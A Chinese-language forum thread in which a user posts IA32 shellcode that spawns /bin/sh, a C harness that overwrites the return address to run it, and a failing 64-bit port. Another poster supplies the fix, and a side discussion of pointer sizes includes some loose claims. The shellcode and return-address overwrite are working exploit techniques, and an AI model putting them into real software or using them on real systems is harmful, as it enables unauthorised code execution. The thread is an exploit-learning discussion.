64位shellcode问题请教

xiaoguazi

我现在在网上找到了IA32下的shellcode，不知道能否在EM64T机器上运行？（我试了一下是不能运行的），另外，能否讨论一下64位shellcode的编写及验证(我现在写了一个，但是运行时没有生成新的shell,也没有产生任何错误).请大侠指教，谢谢！

IA32的shellcode:

1. 
   
2. 
   
3. char shellcode[] =
   
4.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   
5.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   
6.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   
7. 
   
8. void main()
   
9. {
   
10.    int *ret;
    
11. 
    
12.    ret = (int *)&ret + 2;
    
13.    (*ret) = (int)shellcode;
    
14. 
    
15. }
    

复制代码

EM64T下的shellcode（我自己写的，但是不能正常工作):

1. 
   
2. char shellcode[] =
   
3.         "\xeb\x2a\x5e\x48\x89\x76\x08\x48\x31\xc0\x48\x89"
   
4.         "\x46\x07\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48"
   
5.         "\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xdb"
   
6.         "\x48\x89\xd8\x48\xff\xc0\xcd\x80\xe8\xd1\xff\xff/bin/sh";
   
7. 
   
8. int main()
   
9. {
   
10.    int *ret;
    
11. 
    
12.    ret = (int *)&ret + 2;
    
13.    (*ret) = (int)shellcode;
    
14. 
    
15. }
    
16. 
    
17. 
    

复制代码

Tetris

1. 
   
2. int main(void)
   
3. {
   
4.     unsigned long *ret;
   
5.    ret = (unsigned long *)&ret + 2;
   
6.    (*ret) = (unsigned long)shellcode;
   
7. }
   

复制代码

Tetris

指针永远和long一样长，记住。

herberteuler

Post by Tetris
指针永远和long一样长，记住。

或者说是机器的自然字长。

xiaoguazi

谢谢各位兄弟，已经ok了，再次表示感谢！

nait

我听我们老师说指针长度还跟操作系统有关
他举例说win98下指针就是2Byte，不知道是否准确?

Tetris

解释一下shellcode是干嘛的吧。

Tetris

Post by nait
我听我们老师说指针长度还跟操作系统有关
他举例说win98下指针就是2Byte，不知道是否准确?

win98指针4Byte吧？dos下才是2Byte。

rickxbx

Post by Tetris
指针永远和long一样长，记住。

指针长度与机器字长相同
机器字长与int类型长度相同
那么如何"指针永远与long一样长"?

Tetris

Post by rickxbx

机器字长与int类型长度相同

谁跟你说的？